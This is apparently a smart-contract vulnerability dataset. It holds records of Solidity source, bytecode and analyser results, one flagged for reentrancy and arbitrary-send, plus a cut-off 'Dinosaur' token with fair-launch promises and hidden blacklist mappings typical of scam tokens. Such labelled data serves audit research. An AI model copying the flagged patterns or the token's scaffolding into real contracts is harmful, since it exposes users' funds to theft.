600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11601783613084565b9150612c1c8261349b565b602082019050919050565b6000612c34602183613084565b9150612c3f826134c4565b604082019050919050565b6000612c57602083613084565b9150612c6282613513565b602082019050919050565b6000612c7a602983613084565b9150612c858261353c565b604082019050919050565b6000612c9d602583613084565b9150612ca88261358b565b604082019050919050565b6000612cc0602483613084565b9150612ccb826135da565b604082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206cc3625c7b464b313502bad242a28447f5bc258c173dd5ba31766ab9bbb3d59964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,273
0x859de254ba136e2bebe890e8aa110a588841d896
// SPDX-License-Identifier: bsl-1.1 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; interface IKeep3rV1Quote { struct LiquidityParams { uint sReserveA; uint sReserveB; uint uReserveA; uint uReserveB; uint sLiquidity; uint uLiquidity; } struct QuoteParams { uint quoteOut; uint amountOut; uint currentOut; uint sTWAP; uint uTWAP; uint sCUR; uint uCUR; } function assetToUsd(address tokenIn, uint amountIn, uint granularity) external returns (QuoteParams memory q, LiquidityParams memory l); function assetToEth(address tokenIn, uint amountIn, uint granularity) external view returns (QuoteParams memory q, LiquidityParams memory l); function ethToUsd(uint amountIn, uint granularity) external view returns (QuoteParams memory q, LiquidityParams memory l); function pairFor(address tokenA, address tokenB) external pure returns (address sPair, address uPair); function sPairFor(address tokenA, address tokenB) external pure returns (address sPair); function uPairFor(address tokenA, address tokenB) external pure returns (address uPair); function getLiquidity(address tokenA, address tokenB) external view returns (LiquidityParams memory l); function assetToAsset(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (QuoteParams memory q, LiquidityParams memory l); } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Synth { using SafeERC20 for IERC20; address public immutable exchange; address public immutable token; /// @notice EIP-20 token name for this token string public name; /// @notice EIP-20 token symbol for this token string public symbol; /// @notice EIP-20 token decimals for this token uint8 public decimals; /// @notice Total number of tokens in circulation uint public totalSupply = 0; mapping(address => mapping (address => uint)) internal allowances; mapping(address => uint) internal balances; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)"); bytes32 public immutable DOMAINSEPARATOR; /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor (address _token) { token = _token; name = string(abi.encodePacked("Synthetic", IERC20(_token).name())); symbol = string(abi.encodePacked("s", IERC20(_token).symbol())); decimals = IERC20(_token).decimals(); exchange = msg.sender; DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this))); } function mint(address dst, uint amount) external { require(msg.sender == exchange); // mint the amount totalSupply += amount; // transfer the amount to the recipient balances[dst] += amount; emit Transfer(address(0), dst, amount); } function burn(address dst, uint amount) external { require(msg.sender == exchange); // burn the amount totalSupply -= amount; // transfer the amount from the recipient balances[dst] -= amount; emit Transfer(dst, address(0), amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param amount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "permit: signature"); require(signatory == owner, "permit: unauthorized"); require(block.timestamp <= deadline, "permit: expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != type(uint).max) { uint newAllowance = spenderAllowance - amount; allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { balances[src] -= amount; balances[dst] += amount; emit Transfer(src, dst, amount); } function _getChainId() internal view returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } contract SynthetixExchange { address public governance; address public pendingGovernance; mapping(address => address) synths; IKeep3rV1Quote public constant exchange = IKeep3rV1Quote(0xAa1D14BE4b3Fa42CbBF3C3f61c6F2c57fAF559DF); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); constructor() { governance = msg.sender; } function setGovernance(address _gov) external { require(msg.sender == governance); pendingGovernance = _gov; } function acceptGovernance() external { require(msg.sender == pendingGovernance); governance = pendingGovernance; } function deploySynth(address token) external { require(msg.sender == governance); require(synths[token] == address(0)); synths[token] = address(new Synth(token)); } function mint(address token, address recipient, uint amount) external { require(msg.sender == governance); Synth(synths[token]).mint(recipient, amount); } function swap(address tokenIn, uint amountIn, address tokenOut, address recipient) external returns (uint) { (IKeep3rV1Quote.QuoteParams memory q,) = exchange.assetToAsset(tokenIn, amountIn, tokenOut, 2); Synth(synths[tokenIn]).burn(msg.sender, amountIn); Synth(synths[tokenOut]).mint(recipient, q.quoteOut); emit Swap(msg.sender, amountIn, 0, 0, q.quoteOut, recipient); return q.quoteOut; } }
0x60806040523480156200001157600080fd5b5060043610620000945760003560e01c8063ab033ea91162000063578063ab033ea91462000104578063c6c3bbe6146200011b578063d2f7265a1462000132578063f39c38a0146200013c5762000094565b8063238efcbc14620000995780635a837efd14620000a55780635aa6e67514620000d45780638e80bddf14620000ed575b600080fd5b620000a362000146565b005b620000bc620000b6366004620005fa565b62000182565b604051620000cb919062000730565b60405180910390f35b620000de62000366565b604051620000cb9190620006d9565b620000a3620000fe36600462000596565b62000375565b620000a36200011536600462000596565b6200041a565b620000a36200012c366004620005ba565b62000454565b620000de620004e8565b620000de62000500565b6001546001600160a01b031633146200015e57600080fd5b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b604051637c66194960e01b8152600090819073aa1d14be4b3fa42cbbf3c3f61c6f2c57faf559df90637c66194990620001c79089908990899060029060040162000706565b6101a06040518083038186803b158015620001e157600080fd5b505afa158015620001f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021c91906200064d565b506001600160a01b0380881660009081526002602052604090819020549051632770a7eb60e21b81529293501690639dc29fac90620002629033908990600401620006ed565b600060405180830381600087803b1580156200027d57600080fd5b505af115801562000292573d6000803e3d6000fd5b5050506001600160a01b038086166000908152600260205260409081902054845191516340c10f1960e01b8152921692506340c10f1991620002d9918791600401620006ed565b600060405180830381600087803b158015620002f457600080fd5b505af115801562000309573d6000803e3d6000fd5b505082516040516001600160a01b03871693503392507fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229162000354918a9160009182919062000739565b60405180910390a35195945050505050565b6000546001600160a01b031681565b6000546001600160a01b031633146200038d57600080fd5b6001600160a01b038181166000908152600260205260409020541615620003b357600080fd5b80604051620003c2906200050f565b620003ce9190620006d9565b604051809103906000f080158015620003eb573d6000803e3d6000fd5b506001600160a01b03918216600090815260026020526040902080546001600160a01b03191691909216179055565b6000546001600160a01b031633146200043257600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146200046c57600080fd5b6001600160a01b03808416600090815260026020526040908190205490516340c10f1960e01b81529116906340c10f1990620004af9085908590600401620006ed565b600060405180830381600087803b158015620004ca57600080fd5b505af1158015620004df573d6000803e3d6000fd5b50505050505050565b73aa1d14be4b3fa42cbbf3c3f61c6f2c57faf559df81565b6001546001600160a01b031681565b61139a806200079583390190565b80356001600160a01b03811681146200053557600080fd5b919050565b600060c082840312156200054c578081fd5b6200055860c062000754565b9050815181526020820151602082015260408201516040820152606082015160608201526080820151608082015260a082015160a082015292915050565b600060208284031215620005a8578081fd5b620005b3826200051d565b9392505050565b600080600060608486031215620005cf578182fd5b620005da846200051d565b9250620005ea602085016200051d565b9150604084013590509250925092565b6000806000806080858703121562000610578081fd5b6200061b856200051d565b93506020850135925062000632604086016200051d565b915062000642606086016200051d565b905092959194509250565b6000808284036101a081121562000662578283fd5b60e081121562000670578283fd5b506200067d60e062000754565b835181526020840151602082015260408401516040820152606084015160608201526080840151608082015260a084015160a082015260c084015160c082015280925050620006d08460e085016200053a565b90509250929050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039485168152602081019390935292166040820152606081019190915260800190565b90815260200190565b93845260208401929092526040830152606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156200078c57634e487b7160e01b600052604160045260246000fd5b60405291905056fe60e060405260006003553480156200001657600080fd5b506040516200139a3803806200139a833981016040819052620000399162000372565b806001600160a01b031660a0816001600160a01b031660601b81525050806001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b1580156200009057600080fd5b505afa158015620000a5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620000cf9190810190620003a2565b604051602001620000e1919062000549565b6040516020818303038152906040526000908051906020019062000107929190620002cc565b50806001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156200014257600080fd5b505afa15801562000157573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620001819190810190620003a2565b6040516020016200019391906200051e565b60405160208183030381529060405260019080519060200190620001b9929190620002cc565b50806001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015620001f457600080fd5b505afa15801562000209573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022f919062000456565b6002805460ff191660ff929092169190911790553360601b6080526040517f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f35906200027d9060009062000479565b60405190819003902062000290620002c8565b30604051602001620002a694939291906200057c565b60408051601f19818403018152919052805160209091012060c0525062000632565b4690565b828054620002da90620005df565b90600052602060002090601f016020900481019282620002fe576000855562000349565b82601f106200031957805160ff191683800117855562000349565b8280016001018555821562000349579182015b82811115620003495782518255916020019190600101906200032c565b50620003579291506200035b565b5090565b5b808211156200035757600081556001016200035c565b60006020828403121562000384578081fd5b81516001600160a01b03811681146200039b578182fd5b9392505050565b600060208284031215620003b4578081fd5b81516001600160401b0380821115620003cb578283fd5b818401915084601f830112620003df578283fd5b815181811115620003f457620003f46200061c565b604051601f8201601f19908116603f011681019083821181831017156200041f576200041f6200061c565b8160405282815287602084870101111562000438578586fd5b6200044b836020830160208801620005ac565b979650505050505050565b60006020828403121562000468578081fd5b815160ff811681146200039b578182fd5b81546000908190600281046001808316806200049657607f831692505b6020808410821415620004b757634e487b7160e01b87526022600452602487fd5b818015620004ce5760018114620004e05762000510565b60ff1986168952848901965062000510565b620004eb8a620005a0565b885b86811015620005085781548b820152908501908301620004ed565b505084890196505b509498975050505050505050565b6000607360f81b825282516200053c816001850160208701620005ac565b9190910160010192915050565b60006853796e74686574696360b81b825282516200056f816009850160208701620005ac565b9190910160090192915050565b938452602084019290925260408301526001600160a01b0316606082015260800190565b60009081526020902090565b60005b83811015620005c9578181015183820152602001620005af565b83811115620005d9576000848401525b50505050565b600281046001821680620005f457607f821691505b602082108114156200061657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c60a05160601c60c051610d1d6200067d60003960008181610354015261070e015260006108c70152600081816104a4015281816105a501526106690152610d1d6000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb14610204578063d2f7265a14610217578063d505accf1461022c578063dd62ed3e1461023f578063fc0c546a1461025257610116565b806370a08231146101c35780637ecebe00146101d657806395d89b41146101e95780639dc29fac146101f157610116565b806320606b70116100e957806320606b701461017657806323b872dd1461017e57806330adf81f14610191578063313ce5671461019957806340c10f19146101ae57610116565b806306fdde031461011b578063095ea7b3146101395780631778e29c1461015957806318160ddd1461016e575b600080fd5b61012361025a565b6040516101309190610b69565b60405180910390f35b61014c610147366004610aab565b6102e8565b6040516101309190610b03565b610161610352565b6040516101309190610b0e565b610161610376565b61016161037c565b61014c61018c3660046109ff565b6103a0565b61016161046c565b6101a1610490565b6040516101309190610c3e565b6101c16101bc366004610aab565b610499565b005b6101616101d13660046109ac565b61055c565b6101616101e43660046109ac565b61057b565b61012361058d565b6101c16101ff366004610aab565b61059a565b61014c610212366004610aab565b610651565b61021f610667565b6040516101309190610aef565b6101c161023a366004610a3a565b61068b565b61016161024d3660046109cd565b61089a565b61021f6108c5565b6000805461026790610c7b565b80601f016020809104026020016040519081016040528092919081815260200182805461029390610c7b565b80156102e05780601f106102b5576101008083540402835291602001916102e0565b820191906000526020600020905b8154815290600101906020018083116102c357829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610341908690610b0e565b60405180910390a350600192915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60035481565b7f797cfab58fcb15f590eb8e4252d5c228ff88f94f907e119e80c4393a946e8f3581565b6001600160a01b0383166000818152600460209081526040808320338085529252822054919290919082148015906103da57506000198114155b156104555760006103eb8583610c64565b6001600160a01b03808916600081815260046020908152604080832094891680845294909152908190208490555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044b908590610b0e565b60405180910390a3505b6104608686866108e9565b50600195945050505050565b7f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e981565b60025460ff1681565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146104ce57600080fd5b80600360008282546104e09190610c4c565b90915550506001600160a01b0382166000908152600560205260408120805483929061050d908490610c4c565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610550908590610b0e565b60405180910390a35050565b6001600160a01b0381166000908152600560205260409020545b919050565b60066020526000908152604090205481565b6001805461026790610c7b565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105cf57600080fd5b80600360008282546105e19190610c64565b90915550506001600160a01b0382166000908152600560205260408120805483929061060e908490610c64565b90915550506040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610550908590610b0e565b600061065e3384846108e9565b50600192915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6001600160a01b038716600090815260066020526040812080547f5fae9ec55a1e547936e0e74d606b44cd5f912f9adcd0bba561fea62d570259e9918a918a918a9190866106d883610cb6565b91905055896040516020016106f296959493929190610b17565b60405160208183030381529060405280519060200120905060007f00000000000000000000000000000000000000000000000000000000000000008260405160200161073f929190610ad4565b60405160208183030381529060405280519060200120905060006001828787876040516000815260200160405260405161077c9493929190610b4b565b6020604051602081039080840390855afa15801561079e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166107da5760405162461bcd60e51b81526004016107d190610c13565b60405180910390fd5b896001600160a01b0316816001600160a01b03161461080b5760405162461bcd60e51b81526004016107d190610be5565b8642111561082b5760405162461bcd60e51b81526004016107d190610bbc565b6001600160a01b03808b166000818152600460209081526040808320948e1680845294909152908190208b9055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610886908c90610b0e565b60405180910390a350505050505050505050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b7f000000000000000000000000000000000000000000000000000000000000000081565b6001600160a01b03831660009081526005602052604081208054839290610911908490610c64565b90915550506001600160a01b0382166000908152600560205260408120805483929061093e908490610c4c565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109889190610b0e565b60405180910390a3505050565b80356001600160a01b038116811461057657600080fd5b6000602082840312156109bd578081fd5b6109c682610995565b9392505050565b600080604083850312156109df578081fd5b6109e883610995565b91506109f660208401610995565b90509250929050565b600080600060608486031215610a13578081fd5b610a1c84610995565b9250610a2a60208501610995565b9150604084013590509250925092565b600080600080600080600060e0888a031215610a54578283fd5b610a5d88610995565b9650610a6b60208901610995565b95506040880135945060608801359350608088013560ff81168114610a8e578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215610abd578182fd5b610ac683610995565b946020939093013593505050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015610b9557858101830151858201604001528201610b79565b81811115610ba65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600f908201526e1c195c9b5a5d0e88195e1c1a5c9959608a1b604082015260600190565b6020808252601490820152731c195c9b5a5d0e881d5b985d5d1a1bdc9a5e995960621b604082015260600190565b6020808252601190820152707065726d69743a207369676e617475726560781b604082015260600190565b60ff91909116815260200190565b60008219821115610c5f57610c5f610cd1565b500190565b600082821015610c7657610c76610cd1565b500390565b600281046001821680610c8f57607f821691505b60208210811415610cb057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610cca57610cca610cd1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220a15479c19e4443a161292d77e446778c33d5cf4f00f905fbe00c4271dc64f1d264736f6c63430008010033a2646970667358221220ea6c149169e40c022d18bb4b0ecf972d4f74164bebd7f61d29eba980bd8806f064736f6c63430008010033
{"success": true, "error": null, "results": {}}
1,274
0xb5ac1ceaa8228faa2a80c6477cf94a3ad8a6e05e
/* No pre-sale, No Tax, 100% Fair Launch Liquidity will be Locked for 1 Year via Team.finance/Trustswap 50% of supply burned prior to launch Join the telegram or visit the site for more information */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Dinosaur is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "DINOSAUR"; string public _symbol= "DINOSAUR"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private 